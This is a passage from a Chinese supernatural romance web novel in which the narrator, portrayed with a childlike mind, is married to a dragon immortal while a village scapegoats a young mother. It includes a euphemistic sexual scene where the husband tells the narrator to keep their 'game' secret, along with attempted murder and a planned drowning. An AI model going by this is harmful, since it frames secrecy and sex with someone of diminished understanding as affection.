果汁在口中迸射爆浆,甘甜悦人。
好像,有点好吃。
我慢慢适应了他喂果子的方式。
心底,像被种下了一颗花种……
随着他的灌溉滋养,慢慢长大,绽放。
他没骗我,习惯了就真的不排斥了,甚至还会觉得很开心……
指尖穿进他流云般的如瀑银发,我主动朝他索要野果——
他身上热汗淋漓,我也累得上气不接下气,但还是舍不得停止同他索要那份甘甜欢喜……
“喜欢么?”他呼吸沉沉问。
我咬烂他喂过来的野果,点头:“嗯……”
他低笑,抚着我的后脑勺柔情似水地哄我:“果子是给阿鸾的奖励。”
“这个游戏,也是。”
我吻住他的唇,装乖索求:“还要!”
他又将一枚清凉野果喂至我唇边,我张嘴要咬,他却使坏突然收回。
一手揽着我,故意诱惑我:“下次……还玩么?”
我顿了顿,诚实点头:“玩……”
他得到满意答案,把野果喂给我,顺势还吻住了我的唇,勾着我与他相融以沫,舌尖共舞……
……
不知过了多久,我被野果子撑得胃胀,才着急求饶,倒进他怀里累得连责备他的力气都没有了。
他喜欢从后抱着我睡觉,我虚脱无力地躺在他臂弯里,睡意沉沉。
“要沐浴么?”他问。
我摇头,气若游丝:“不用……”
他低笑:“那晚点,本尊再帮你清洗。”
我闷闷不乐地捂住脑袋。
他见状,好笑不已地询问:“怎么了?”
我揉揉闷疼的太阳穴,哑声抱怨:“我还是更喜欢白蛇哥哥的那条小蛇王,它才不会往我身体……”
剩下两个字还没说出口,我的嘴巴就被男人的大手及时捂住了。
男人凑在我的耳边含笑交代:“阿鸾,今天的游戏,不可以告诉任何人,不然,为夫下次就不和你一起玩了。”
“为什么?”我不懂反问。
他抱住我娇弱的身子,轻轻说:“因为,这是独属于本尊与阿鸾的秘密。”
“独属于我俩的秘密……”我这回听懂了,“哦——那我不说,一定不说。”
“真乖。”
我安静片刻,试着和他商量:“你以后,可不可以,别遮我眼睛。”
“下次,我们换种玩法。”
“你为什么不许我看你的小蛇……”
“本尊、怕阿鸾害羞。”
“怎么会呢,它好像比小蛇王温柔很多……”
“嗯。”
“白蛇哥哥小气死了。”
“那是他豢养多年的灵宠,他肯定舍不得给你烤了吃……不过,阿鸾若是真想要,本尊可以帮阿鸾把那条灵蛇抢过来。”
“还是不了,白蛇哥哥那么喜欢那条小蛇王,你抢给我,他肯定会难受。而且,抢人东西,是不对的。”
“阿鸾……若有一日,你想起那些事,会不会恨我?”
“哪些事?”
“……罢了,没什么。阿鸾,本尊的命,就握在你手里,你随时,都可收回去。”
我听不懂他在说什么,感觉,比先前更累了。
找个舒服的位置窝在他怀里睡死了过去。
裸睡……一点也不舒服!
——
中午,银杏来给我和青漓送饭,顺便和我们一起吃。
我捧着碗哈欠连天,银杏别扭地拧眉看我,关心道:“你不是刚睡醒吗?怎么还困成这样。”
我昏昏沉沉地张嘴吃饭:“就是累……腰酸背痛,浑身无力……”
“腰酸背痛?”银杏不解地重复一遍。
青漓给我夹菜的动作一僵。
一块豆腐放进我碗里,青漓目光躲闪地别过头,假装认真吃饭。
银杏想了半天,找到原因:
“村里都是木床,你住的这间屋子好几年没人打理了,估摸何大叔整理的时候给你少铺了几层褥子,床板太硬,所以你才会睡得腰酸背疼。
哎,理解一下吧,毕竟何大叔是个大老爷们,本就性子粗枝大叶。
好在咱们就住三天,你吃完再休息一会儿,如果还是觉得睡不习惯,和我说,我找何大叔再要一床褥子给你垫上。”
我点头:“哦。”
吃完饭,银杏收拾了碗筷,催我继续去补觉。
我也不和她客气,躺床上裹好被子,没多久就再次进入了梦乡。
等我一觉睡饱,外面太阳都快下山了。
从床上爬起来,我揉着眼睛出门,没有找到青漓,却在门口碰见了赵二哥……
赵二哥瞧见我,脸色变了变,犹豫着和我打招呼:“鸾妹?”
“赵二哥!”我热络地跑近他,拉住他的手亲切道:“你最近干嘛去了呀,怎么也不来看我。”
赵二哥半张脸抽了抽,看我的眼神也很怪。
沉默许久,才一改之前的警惕神情,笑容满面地牵住我,歉意道:
“我、这几天比较忙,田里的活多,所以才没来看你……鸾妹,你、还是喜欢二哥的对不对?”
我愣了愣,反应迟钝地点头:“对啊,我一直都很喜欢二哥!二哥会带我去好多地方玩!跟着二哥,就有好多好玩的!”
赵二哥深深凝望着我……眼神复杂。
牵着我的那只手,暗暗收紧。
良久,似下定了什么决心,眉头慢慢舒展——
“鸾妹,你现在想出去玩吗?二哥知道有个地方特别美,那里最近开了很多小野花,还有小兔子。鸾妹,你看见了一定很喜欢。”
“小野花、小兔子……好啊!”我欣然答应,拉着赵二哥急忙催促:“走啊二哥,你现在就带我去。”
赵二哥哽了哽,不敢直视我的双眼,嘴角扯出一抹牵强的笑:“好。”
我轻松欢喜地跟着赵二哥离开了何大叔家。
赵二哥拉着我的手,把我一路往北带……
走了大约半个小时,才看见不远处有片荒草地,草地上开满紫红小花,另一头,是一条挺宽挺长的河流……
赵二哥悄然松开我的手,许我自个儿往花海里跑。
我拎起裙子自由奔跑在宽阔平原上,赵二哥在后面抬高声提醒我:“鸾妹,去大槐树下歇歇脚!”
我点头回应:“好!”
朝东边那棵老槐树的方向小跑过去。
但,路过大槐树前的一处草地时,我忽然察觉到,脚下的草地……软软的?
我没有多想,继续大步往前跑……
成功冲到大槐树下,我席地而坐,低头去捡地上的串串槐树叶。
赵二哥没过多久也跟了上来,可他却有心绕开了那块软软的草地。
见我在地上捡叶子玩,便试探着回到软草地边上,百思不得解地皱眉嘀咕:“奇怪……怎么没有掉下去?”
说完,又扭头看了我一眼。
之后还是捉摸不透:“难道是,草铺厚了?”
草、铺厚了?
我拿着一串槐树叶,脑子骤然空白了一瞬……
再回过神,思绪清明。
丢下手里的东西,我缓缓站起身,放轻步子,慢速走到赵二背后——
在他探头往陷阱里看的那一刻。
猛地伸手,推了他一把。
他毫无防备地被我推上前一步,右脚踩中铺在陷阱上方的那层软草,下一秒,整个人都失重跌进了两米深的土坑里!
摔得哇哇痛叫——
“啊我的腿!疼、好疼啊……”
“救命,救命啊!”
我心情舒畅地拍拍手,闭上眼——
“赵二哥?”我跑到坑边,不明所以地好奇问他:“你、怎么跳下去玩了?赵二哥等我,我也要下去——二哥接住我!”
我抬脚就要往坑里跳,摔得灰头土脸的赵二哥面上一白,仓皇阻止:
“等等!鸾妹别!别跳下来——鸾妹,我、我们玩另一个游戏,你把右边的草丛扒开,里面有条草绳……把绳子一端放下来,然后拉我上去!”
我皱眉:“要这样玩吗?”对上赵二哥那急切的目光,我无奈接受:“那好吧。”
我按着赵二哥的提示,果真在右边那片大草丛里扒出了一条草绳——
将绳子一端放下去,等赵二哥把绳子捆在腰间系好后,才用力将谢二哥拉上来……
两三分钟后,赵二哥的手终于扒上了草地边沿。
我蹲在赵二哥面前歪头道:“二哥,这里什么时候多出个坑啊,你怎么掉下去的?”
赵二哥满头大汗,气喘吁吁地愤愤道:“我怎么知道!刚才,好像有人推了我一把……是你吗,鸾妹?你是不是又调皮了!”
我无辜地连忙摆手:“没没没,我没有推赵二哥,我在槐树下,离赵二哥这么远呢,我怎么会推赵二哥。”
赵二哥想了想,信了。
吃力地爬上草地,赵二哥拍拍身上的灰尘,一瘸一拐往槐树下走:“真是见了鬼了!总不能是我自己脚底打滑……我明明感觉到,背后有人推我……”
说到这,赵二哥瘸了的那条腿一僵。
随即转身,脸色难看地再次找我确认:“鸾妹,龙仙真的没有跟在你身边?”
“龙仙?你说青漓啊……”我四处张望一番,诚实摇头:“没有啊!”
他眯了眯眼,半信半疑:“阿鸾,你可不能骗二哥,你要是骗二哥,二哥以后再也不带你一起出来了!二哥去陪你姐姐玩,不要你了!”
我心急辩解:“真没有,二哥你相信我!别不要我……我害怕。”
他见我急得快哭出来了,这才猛松口气,放下心。
扶着那条瘸腿继续一瘸一拐往槐树下走去……
“好了鸾妹,我信你。”
我老实地跟上他,在他倚着槐树坐下后,讨好地帮他揉捏摔伤的右腿。
“二哥,你疼不疼啊?”我担忧问道。
他撑着身子,背靠树干,倒抽一口冷气:“当然疼,不过……”
手牵住我的指尖,他深情望着我:“看见鸾妹,我就不疼了。”
“啊?我又不是止疼药……”我不是很理解。
他冲我笑笑,抬手敲了下我的脑门,轻声使唤我:“我有点渴了,鸾妹,你去河边给我弄点水来吧。”
我转头看不远处的河流,颔首:“好。”
先把赵二哥放在大槐树下,我小跑到河边,伸手去掬水。
但掬了好几捧……水都顺着掌心缝隙流没了。
赵二哥要喝水,可我没有容器啊……怎么办。
我蹲在水边惆怅,无意昂头,却见到水中倒影里——有个男人正鬼鬼祟祟地靠近我,缓缓伸出一只手……
我猛地站起身,“赵二哥——”
起身的那一瞬,男人的手擦着我的肩背……扑了个空!
紧接着,他就重心不稳地一头猛扎进了水里!
“救、救命!救命啊——”
赵二哥在水里惊恐地乱扑腾呼救。
我懵懂地咬手指,“赵二哥,你为什么要跳进水里玩啊,今晚的河水好凉啊。”
“救、咕噜咕噜、鸾妹、咕噜咕噜……救我!”
赵二哥在水里猛吐泡泡,身体也不断浮上来坠下去、浮上来、又坠下去——
又要我救他。
今天的赵二哥,好没意思啊。
我叹口气:“这次我要去哪里找工具?”
赵二哥扑腾的周边河水都浑了,趁着冒出水面的短暂时间,惊恐大吼:“左边、柳树下!”
“竹竿,送给我!”
左边柳树下……我往左看,轻松找到平放在河边的长竹竿。
我抓起竹竿和赵二哥报喜:“二哥,竹竿找到了!”
赵二哥生吞了好几口河水,被呛得猛咳不止:“咳咳,给我!”
“好嘞!”我举起竹竿,往赵二哥身畔水域一扔——
竹竿啪的一声,扎进水里,迅速浮上水面,溅了赵二哥一脸水渍。
我激动催促:“赵二哥,你快上来啊!”
赵二哥瞧了眼水面浮着的竹竿:“……”
猛吞一口浑浊河水,压下眼底的猩红。
咬紧后槽牙,一字一句和我说:“我、骑着竹竿上岸吗?!”
第38章 再也不要相信你了
赵二哥最终还是顺利爬了上来。
他让我拽住竹竿另一头,把他从水里拖上岸……
我听话照做了,可他上来后却还是冲我发脾气——
说我蠢。
我气鼓鼓地一个人回了何家。
起初他还跟上来向我道了几句歉。
“鸾妹,二哥刚才只是一时心急,才口无遮拦那样说你……你不蠢,二哥发誓,你是二哥见过的、最聪明的女孩子!”
“鸾妹你等等二哥啊,鸾妹,二哥知错了,你原谅二哥好不好?”
“鸾妹,你要是再这么任性,二哥、二哥……就不理你了,二哥去找你姐姐玩!”
威胁我?
我冷哼一声,当做没听见,继续快步往回何家的方向迈去。
赵二哥后来,也没再追我了。
说我脑子有问题,骂我蠢……哪里有问题了?!
我记忆力好着呢,我都能记住回何大叔家的路!
青漓说得对,赵二哥是坏人。
我以后都不要和赵二哥一起玩了!
我要回去找青漓告状……为了拽赵二哥上来,我手掌都被竹竿上的倒刺划破了……
如果是青漓陪我一起玩,他肯定会先给我吹吹,也绝不会骂我蠢。
臭二哥,跟姐姐过一辈子去吧!
我越想越生气,抬脚迈进何家院子的门槛。
我要回去找阿漓,手掌好疼……
绕过西配房,我快步往后院的老宅房子走去。
但……刚穿过一片竹林,走进老宅,我就看见——
老宅堂屋门口,姐姐和青漓站在一块。
姐姐余光瞥见我,还特意伸手,抱住了青漓的脖子——
我所在的角度,能看见姐姐媚眼如丝的弯唇往青漓耳边呵气……
也能看见,青漓攥住姐姐的胳膊,姐姐顺势倒进青漓的怀里……
两人很亲密,姐姐很开心。
青漓,应该也很快乐吧……
我心头一酸,眼角顿时一阵滚烫。
骗子,说好的只喜欢我呢。
为什么要抱姐姐……
趁我不在,就和姐姐搂搂抱抱。
难道,他真想当我姐夫?!
我伤心挫败地转身从后院跑开,抹着眼泪冲去前院找银杏。
推开银杏的房门,银杏手里正捧着一只刚烤好的红薯,脚边是还没来得及熄灭的炭火盆。
“镜镜?你怎么来了?!”
我委屈地扑过去抱住银杏,低头闷在她肩上无声流着眼泪……
她愣住,手里捧着滚烫的红薯,担忧问道:“镜镜,是谁欺负你了吗?镜镜,你哭什么啊……”
我试图憋住哭声,但没憋住,埋在她怀里突然就哇一声哭了出来。
她被红薯烫红了掌心,怔愣一阵,连忙放下手里东西,扶住我的肩耐心询问:
“镜镜,你到底怎么了?你别哭啊!谁欺负你了,你告诉我,我去揍死她!”
“银杏……”
我趴在她肩上没有直接回答她的问题,只是抱紧她难受呜咽:
“银杏,你以后,不会不要我吧……
他们都是骗子,明明说过最喜欢我,可还是又喜欢上了别人,银杏,他们都觉得我好骗,觉得我蠢……
银杏,我是不是真的脑子有问题,所以他们才会这么欺负我?”
“镜镜……”
银杏心疼地拍拍我后背,字字铿锵地坚定告诉我:
“你脑子很好,是那群王八蛋脏心烂肺!镜镜,你还有我,你可以谁也不要,银杏永远是你的后盾,是你身边,最值得信任的好闺蜜!”
“银杏……”我哭得更伤心大声了。
她拍着我后背温柔细心地哄我:“好了好了,镜镜你听话,别哭了,哭起来多伤眼睛啊……我刚才偷偷烤了个红薯,分给你一半好不好?”
“银杏,会不会有一天……”
“不会!我李银杏,生是你的人,死是你的鬼!就算全世界都背叛我家镜镜,我也站在镜镜身边,替镜镜遮风挡雨!”
“你为什么,要待我这么好?”
“傻瓜……我生来,就是为了遇见你的呀。”
“银杏……”
“好啦,别哭啦,我还在呢,给你吃烤红薯,吃完告诉我到底发生了什么事,好不好?”
“嗯……”
我没骨气地哭哭啼啼吞完了一半红薯。
银杏拿出伤药给我处理伤口,
“镜镜,记得这几天伤口不要沾水,你手上这道口子蛮深的,龙仙大人到底是怎么照顾你的,才一下午没见,你身上又多了处伤……
龙仙他不会冲你吧!要不然,也不至于每次你一和龙仙在一起,就大伤小伤不断啊!”
她在我耳边喋喋不休地念叨着,我趴在桌上,疲倦地闭上了眼睛。
不晓得银杏是什么时候安静下来的……
后来,半梦半醒时——
我无意识地睁开朦胧双眼,隐约见到,一个身穿五彩霞衣,墨发及腰,臂上挽着淡金披帛的熟悉女孩身影立在我身边。
伸出一只纤纤玉手,小心翼翼地抚摸我眉心,低浅嗓音心疼到打抖:“怎么、把自己搞成这个样子……娘娘。”
门外忽有响动,那浑身泛金光的女孩立即化作星光散了去。
李大叔沉闷沙哑的声音从头顶传来:“鸾镜这是怎么了?”
“不知道啊,六点半那会子突然闯进来找我,哭了好久。也不晓得是受了谁的气……怎么问都不说。”
“哎——龙仙来接她回去了,把她交给龙仙吧。”
“你怎么照顾镜镜的?她下午又跑出去了你知道吗!”
“阿鸾说,想吃之前本尊给她采的野果子,本尊打算摘点别的果子给她尝尝,就趁她下午睡觉出了趟门。本尊、在门口设了结界,不知为何,没关住她。”
“要男人有什么用,总在关键时刻掉链子,你要是照顾不好镜镜,就把镜镜还给我!”
“……本尊的夫人,凭什么给你!”
“嗨,爸!你看他还瞪我!”
“你消停点吧,咱爷俩,打不过他。”
“……呸!”
有人把睡迷糊的我打横抱了起来,带回了住处,放在床上——
我抓住被子,蒙头蜷进了被窝里。
夜里,我隐隐听见屋里有女孩的笑声。
那声音……像极了姐姐。
不,应该说,就是姐姐!
青漓你个大骗子,我再也不信你了。
可后来,姐姐的笑声——竟慢慢过渡成小红的哭声。
“还我的儿子!”
“把我儿子还给我,我把我的命给你!”
“我儿子他不是恶鬼投胎,妈、舅妈,求求你把我儿子还给我吧……”
还有村里妇人们的声声谴责:“她生下吃人肉的恶鬼,坏了村子的风水,就该把她浸猪笼!”
“对,村志上有记载,三十年前也有个女人生下鬼胎,后来我们榴花村就迎来了三年大旱,女人的公婆与丈夫,也都莫名其妙全死了。”
“生恶鬼,就是坏风水,坏了风水就该浸猪笼投河,不然我们整个村子都得遭殃,老何家也会彻底绝后!”
清晨,我揉着水肿的双眼,站在前院风口里看村里女人们用红布裹住何大叔的儿媳妇,又往她身上套了个竹笼,嚷嚷着要把小红投河。
小红神志不清地躺在竹笼里,双眼溢着血泪,撕心裂肺地喊哑了嗓子:“把我的儿子、还给我,求求你们了……”
李大叔挡在女人们的队伍前,面色凝重道:“榴花村三十年前那件事,我也略知一二。你们何必再自欺欺人,就这样容不下一个年轻小姑娘吗,她今年才二十二岁!”
何大叔的老婆面目狰狞地举起自己那只缺了根小拇指,被白布捆成粽子的手,咬牙恶狠狠道:
“老李大哥,我看在你从前帮过我们家老何的份上,给你几分薄面,但你别给脸不要脸!看见我这只手了吗?我都被那个鬼胎给咬残了,你还要替这个丧门星说话,你是想置我们何家于死地吗!”
李大叔沉声安抚她的激动情绪:“鬼胎是鬼胎,小红是小红,你的小拇指又不是小红咬的!为难一个孩子干什么?我不是说过吗,给我三天时间,我一定给你和老何一个满意的交代!”
“不行!”何大叔老婆一口拒绝,强势地铁了心决定道:“她坏了我们榴花村的风水,我不能让村里所有乡亲都和我一起提心吊胆。今天我必须要把这个丧门星沉塘!”
“老何媳妇,得饶人处且饶人。”
“呸!老李你别在这和稀泥,这丧门星的爹妈都不管她了,你在这充什么好人呢?”
何大叔老婆一句话说完,院子里的大妈老太们也都跟着附和,咄咄逼人:“是啊,你是她爹还是她妈啊,她的家人都嫌她丢人,害怕她回去带晦气,你这么护着她干什么!”
“老李,我们知道你本事厉害,但你不也说了,孕中煞会先缠着孩子他妈,直到把孩子他妈活活缠死才罢休,所以这问题,就出在小红一个人身上,把小红沉塘了,这事不就算了了?”
李大叔霸气地挺直腰杆舌战群儒:
“你们这些女人,就是容易冲动,感情用事!一点道理都不讲!你们以为孕中煞只会缠着何家?
孕中煞缠死产妇以后,还会继续留在村子里作恶,以后村里但凡有女人怀孕,孕中煞都会害她产下鬼胎!
老刘媳妇,我记得你家儿媳妇,现在已经怀孕八个月了吧!老张太太,你孙媳妇肚子里还揣着一对双胞胎呢!
老李媳妇,你好不容易才怀上二胎,你们如果盲目迷信阻止我查下去,可以,何家的今天,就是你们家的明天!”
李大叔此话一出,人群里不少女人皆是纷纷打起了退堂鼓——
“老李你这话什么意思?那孕中煞还送不走了?”
李大叔冷冷道:“我现在需要用小红把孕中煞钓出来,如果你们今天把小红沉塘,孕中煞的确会暂时离开何家,但明天孕中煞会去谁家,我可就说不准了!”
刚才还义愤填膺狂喷口水的老张太太听完,顿时就紧张了起来:“哎呀,那可不行,还是得让老李把那玩意彻底请走,咱们才安心啊!”
其余女人们也都开始犹豫:
“不是说,孕中煞在小红身上,把小红给解决了,孕中煞就没了吗?”
“这东西如果不是只针对老何家与小红,的确很难搞啊。”
“它还会乱跑?那不成,我儿媳妇刚怀上,要是真撞上那东西了,我家独苗苗就没了!”
“老李啊,难道,没有小红,你就清除不了那东西了吗?”一老太太厚着脸皮问。
银杏冷笑一声:“所以你们要拉小红去投河,根本不是因为小红被孕中煞缠上了,而是因为你们打定了主意要小红的命!”
老太太闻言一怔,赶紧矢口否认:“哎呦喂,你这孩子说的都是些什么话啊!这不是小红生了鬼胎,坏了村里风水吗……我们也都是为了村子的安危着想。”
银杏反呛道:“三十年前的那件事,究竟是坏了村子里的风水,还是碍了你们某些人的事,你们何必自欺欺人,是时间久了,把自己也骗着了吗?”
“你!”老太太脸一白,被银杏气得差些一口气没上来。
李大叔拦住银杏,郑重其事地和众人说:
“总之,小红你们不能动,我只能帮你们到这一步,如果你们执意要把小红沉塘,那以后榴花村的事我也不会管了。言尽于此,你们自己考虑!”
见李大叔想撂挑子不干,村里的女人们立马就急了。
“那可不行啊!既然问题不是出在小红身上……那我们就不为难小红了。孕中煞的事,老李你一定要帮帮我们啊,不能让我们榴花村所有人家都绝了后啊!”
“就是啊老李,这前前后后八个临山的村子,只有你道行最深,能解决事,你要是不管咱们榴花村了,咱们可怎么办,还能找谁啊!”
众人都纷纷临阵倒戈了,何大叔老婆这会子却急了,聒噪地大声喊道:“你们、怎么能变卦呢!咱们昨天不是都商量好了吗?”
老张太太也不和老何媳妇客套了,拄着拐棍直白道:
“秀枝啊,你们一家绝后事小,咱们全村绝后事大!再说这小红就算……哎!你大不了把她送回娘家,让她自生自灭!的确没必要赶尽杀绝。”
何大叔老婆火冒三丈:“三婶儿,什么叫我家绝后事小……我家三代单传啊,我儿子总不能、砸在这个丧门星手里!”
老刘媳妇无奈道:“他三舅妈啊,现在都提倡婚姻自由,过不下去可以离婚嘛,的确没必要再像三十年前那样……哎!”
何大叔老婆还要发作,却被何大叔从后一把搂住,黑着脸制止道:“好了!我早就说过,小红也是受害者!老李兄弟都已经知道了,你还在这丢人现眼干什么!亮子,把你妈带走,快!剩余的人,帮忙把小红放出来!”
众人面面相觑,考虑片刻,听话的又把小红从竹笼里放了下来……
何大叔的儿子拉走何大叔老婆,一脸为难:“妈!你都不嫌丢人吗?哎呀好了,咱们先回舅舅家住,家里的事,让爸处理吧!”
我站在何大叔身后伸手指捋了捋思绪:“亮子,是何大叔的儿子,小红,是何大叔的儿媳妇,所以,小红是亮子的媳妇……”
宋花枝双臂环胸悄然来到我身边,瞥了眼我掰手指的动作,讥笑一声:“蠢货,这还用算?”
我没管宋花枝,拉了拉银杏袖子:“杏子,小红是亮子老婆,为什么亮子不保护小红呀?老公不就是要保护老婆么?”
银杏握住我的手,冷冷讽刺道:
“人性是最经不起考验的,当他自己的利益受到损伤,他就会为了保护自己,把别人抛出去当肉盾。
刀子扎在别人身上,他又感受不到!况且,如果小红死了,他就是获利者。
他当然不会保护小红了,他只会乐享其成。”
我还是不明白:“可亮子,是小红的老公啊,老公怎么会舍得让自己的老婆去死?”
银杏一本正经地教我:
“镜镜,不是结婚了,就有喜欢,就有爱。不是有了夫妻这层身份,丈夫就会心疼妻子……
有很多人结婚,只是为了完成一项任务,就像你肚子饿了,就要吃饭,渴了就要喝水,你吃饭喝水的时候,会在意大米和水进了你的肚子会不会疼吗?”
我点头,低低重复:“哦,不是结婚了,就有喜欢……”
所以,就算我和青漓结了婚,做了青漓的老婆,也不代表,青漓爱我……
我情绪低落地垂头丧气。
不过,更让我生气的是,姐姐刚来,青漓就也出现了。
他早上都不愿意和我一起来前院看热闹!
我心里不舒服地冲姐姐哼了声,姐姐皱眉,不明所以地骂了句:“神经病!”
“你才神经病!”我不甘心地怼回去。
姐姐诧异瞪大眼:“宋鸾镜你有病吧!你今天吃熊心豹子胆了?”
我捏紧双手,想起她昨天和青漓抱得那么紧,我就火气大。
“我还吃猪心了呢!你走!”我用力推她。
她踉跄后退两步。
青漓见我和宋花枝动了手,忙大步迈过来拦我:“阿鸾,你当心……”
他,不让我推宋花枝?!
我气红了眼,反手去推他,恼火吼他:“你也走!”
他被我推得脸色渐白,紧张伸手要抓我:“阿鸾,你怎么了?”
我难受不安地朝他喊:“你也觉得我脑子有问题对吧?你这个大骗子!我不想理你,不想看见你,你离我远点!”
“阿鸾……”
李大叔不放心地抓住情绪愈发失控的我,低声道:“鸾镜,你冷静!别激动,对心脏不好。”
我不管不顾地发火赌气,甩开李大叔,瞥见宋花枝在树下勾唇冷笑,更加愤怒的又跑过去狠狠推她:“你还笑!你这个只会抢人东西的坏女人!”
“阿鸾,你今天到底怎么了?”青漓从身后抱住我,我挣扎了两下,没挣开,又急又委屈的转身就朝他肩膀用力咬了口。
他吃痛僵住,呼吸一窒。
但搂在我腰上的手,依旧未松。
我伏在他肩上,齿尖继续用力,眼前不断浮现出昨天傍晚,宋花枝倒进他怀里的画面……
心口像是堵了一块石头,又酸又疼,呼吸困难。
没多久,我就先撑不住的瘫倒进他怀里……
胸口热流涌上喉头,抵上口鼻……
我趴在他怀里骤然口鼻喷出血,他慌乱托住我腰身,手足无措的给我擦拭下颌大片鲜血……
“阿鸾,你别这样……阿鸾,我哪里做得不对,惹你不开心了,你告诉我,我改,你别总闷在心里……阿鸾!”他失魂落魄的颤声祈求,给我擦唇角鲜血的指尖抖个不停。
我对上他破碎氤氲的深青眼眸,痛苦嗤笑:“你骗我,说好的,只喜欢我一个人……我再也不要、相信你了……”
他怔住,眼角一滴清凉的泪坠落在我眉心。眼神里,悲伤成海:“阿鸾……”
我吐血吐到虚脱,后来,他从腰间摸出一粒丹药塞进我嘴里。
我赌气不吃,他就用指尖小心翼翼撬开我的唇齿。
我狠心咬住他的手指。
哪怕血水氤氲在我的舌尖,他也没舍得放开我。
丹药最终,还是混着他的腥咸指尖血,滚进了我的喉中。
可能是药效起作用了,我靠在他怀里冷静下来,脑子里一片空白。
他的大手温柔罩在我脸颊,抱着我闷声自责:“是我错了……阿鸾,你若是真生气,便杀了我吧。”
李大叔双手背后,重重一叹:“她的心脏被七日陨啃噬了一半,本就不宜情绪大喜大悲。你用真气给她炼灵药有什么用?就算护住她的心脉,你惹她生气,她发火,你的药还是完全白搭!”
银杏后知后觉反应过来:“昨天,把她气哭的人是你啊?!你都干什么好事了?!”
“本尊昨天、没有惹她生气……本尊离开前,她还很乖,没有任何不开心。她昨天,是什么时候去找你的?”
“晚上六点半左右。”
他抱着我的手臂倏然收紧,嗓音沉哑:
“昨天傍晚,宋花枝去找本尊,帮她母亲给本尊传话。
过程中,对本尊动手动脚,本尊想甩开她,她却崴脚摔进了本尊怀里……”
第39章 想做本尊情敌?别逼本尊扇你!
银杏与李大叔沉默良久。
银杏心累捏鼻梁,
“真是自作孽不可活,你完了,照镜镜这记仇的性子,你大概率会被她默认成欺骗感情的坏蛋。
她现在本就性子敏感,你还和宋花枝纠缠不清,不咬你咬谁!”
他消沉后悔道:“本尊也没想到,会被她看见。”
大手抚了抚我冰凉的脸庞,他恹恹阖目,黯然神伤:“对不起,阿鸾。”
——
又是一个日暮时分,我坐在门槛上生气地一颗颗丢掉青漓摘回来的殷红野果。
“我早就说了,我不吃野果!不吃你给的果子,我不喜欢你,你别跟着我了!”
我无情地拿野果砸他,红彤彤的浆果砸在他深青色的袍摆上,弹落掉地,滚满灰尘……
他耐心地将野果一颗颗又捡起来,无论我怎么砸,都不生气。
“阿鸾,你喜欢丢着玩,就丢吧,丢完本尊再去给你摘。”
我焦躁地把果盘往地上一放,进屋找茶杯砸。
玻璃杯摔在地上,顷刻四分五裂,砸碎的玻璃片溅在他脚边,他却视若无睹,丝毫不怕我误伤到他——
“你这个骗子,不喜欢我还要管着我!我讨厌你!”
“你们都以为我脑子不好,觉得我好欺负,臭青漓,连你也耍我!”
“你们都走!你们不要我,我也不要你们了!我……”
我扭头,看见桌子上的陶瓷香炉,捧起来就要往地上摔。
但,原本我是想往青漓身上撒气的,回头却发现赵二哥回来了……
青漓是坏人,赵二哥也不是什么好东西!
我举起陶瓷香炉就往看着满地狼藉一头雾水的赵二哥身上砸:“我、讨厌死你们了!”
赵二哥迷茫昂头。
下一秒,陶瓷香炉就稳稳砸在了赵二哥脑袋上——
他根本来不及惊叫,香炉里的香灰就兜头洒了他一身……
呛得他拼命咳嗽。
“啊我的头、我的眼睛——”赵二哥抱头疼得嗷嗷乱叫。
我气鼓鼓地哼了声……
想了想,故意主动朝赵二哥身边跑去,亲热的挽住赵二哥胳膊,关心道:“赵二哥,你疼不疼?我给你吹吹!”
果然,看见我靠近赵二哥,青漓慌了,冷下俊脸紧张唤道:“阿鸾!”
不让我和赵二哥亲近,我偏要亲近,气死你!
赵二哥捂着迅速鼓起大包的额头,咬牙想发火又心有顾虑,只能强压怒意喘着粗气耐下性子问我:
“鸾妹,你今天又怎么了?!我一回来就看见你在门口发脾气……你还乱丢东西,伤着我还好,要是伤着别人,别人可是会找你算账的!”
“算账?”我求知欲极强地问:“要我赔吗?我有钱!”
我二话没说就要把腕上的红玉镯子褪下来:“我有镯子!我可以把镯子抵给他们!”
“阿鸾!”青漓一阵风卷至我身畔,深眸泛红地一把握住我手腕,不许我摘下玉镯,伤怀失落道:“这是本尊送你的、定情信物……你怎能说摘就摘了。”
定情信物……又是什么?
我管你定什么玩意的信物,你的东西,我才不稀罕呢!
赵二哥瞥见我腕上的东西,听我这么一说,顿时眉心舒展。
头不疼了嗓子也不痒了,两眼放光的精神道:
“镯子……好啊!鸾妹,你就把镯子赔给我吧,你把镯子给我,我就不生你砸伤我的气了!”
“二哥你也喜欢这只镯子?”我任性掰开青漓的手指,作势取镯子,而我的镯子也很配合地卡在拇指关节处,我怎么拔,都拽不下来它。
我委屈巴巴地看着赵二哥说:“我取不下来……要不然,你试试?”
赵二哥早就蠢蠢欲动了,听我这么说,当即兴奋地搓搓掌心,不假思索的上手来拔我腕上玉镯……
但,他的手刚碰到我的镯子,镯身就陡然一阵红光乍现,烫得他慌促缩回手,五根手指的指腹瞬间起满紫红水泡——
“啊——我的手!好烫、好疼!”
赵二哥哀嚎出声。
我假装什么也不知道,当着他的面也伸手摸了摸镯子。
这会子镯面的温度已经迅速冰冷下来了,指腹接触镯身,只能感受到丝丝清凉……
“不烫啊,赵二哥,你再试试……”我将手臂送过去,赵二哥立时被吓得连退好几步,面色苍白地甩着手拒绝:“不、还是不了……你这镯子是龙仙给的,太玄乎了!我还是不要了!”
青漓见赵二哥不敢再打我镯子的主意,这才收回剜向赵二哥的阴冷锋利目光。
赵二哥顶着满头香灰,疯狂吹着自己被烫出水泡的手指,不敢再靠近我,心虚地找个理由跑路:
“那个、鸾妹啊,我突然想起来我还有事要出去一趟,你自己在家玩吧!我先走了!”
“啊?赵二哥,你才回来就要走啊!”我老实巴巴地冲他喊,他听我这么说,转头逃得更快了:“我我我、我忙着呢,你有事就去找李银杏!”
“赵二哥——”我越喊,他跑得越快。
瞧着他没出息狼狈逃远的背影,我解气地哼了声,兀自嘀咕:“烫死你活该!”
守在我身边不肯走的青漓背上一僵,诧异看我:“阿鸾、你……”
我扭头瞪他:“我什么我!你和赵二哥一样让人讨厌!”
他哽住,试图向我服软:“阿鸾,本尊没有喜欢你姐姐,昨晚是她偏要往本尊怀里倒……”
我捂耳朵不听他的解释:“我不管我不管,反正我以后再也不要信你了!”
说完,我跑出老宅,扔他一人在原地,独自去找银杏。
不过,我再见到银杏时,她身边竟然多了个眉清目秀的小哥哥——
“我今天刚从县城回来,一到家就听说三叔这出事了。杏子妹妹你放心,有老师在,明晚之前肯定能处理掉那只孤魂野鬼的。”
那小哥哥穿着白衬衫配工整的黑色西装裤,双手插兜,言谈举止稳重从容。
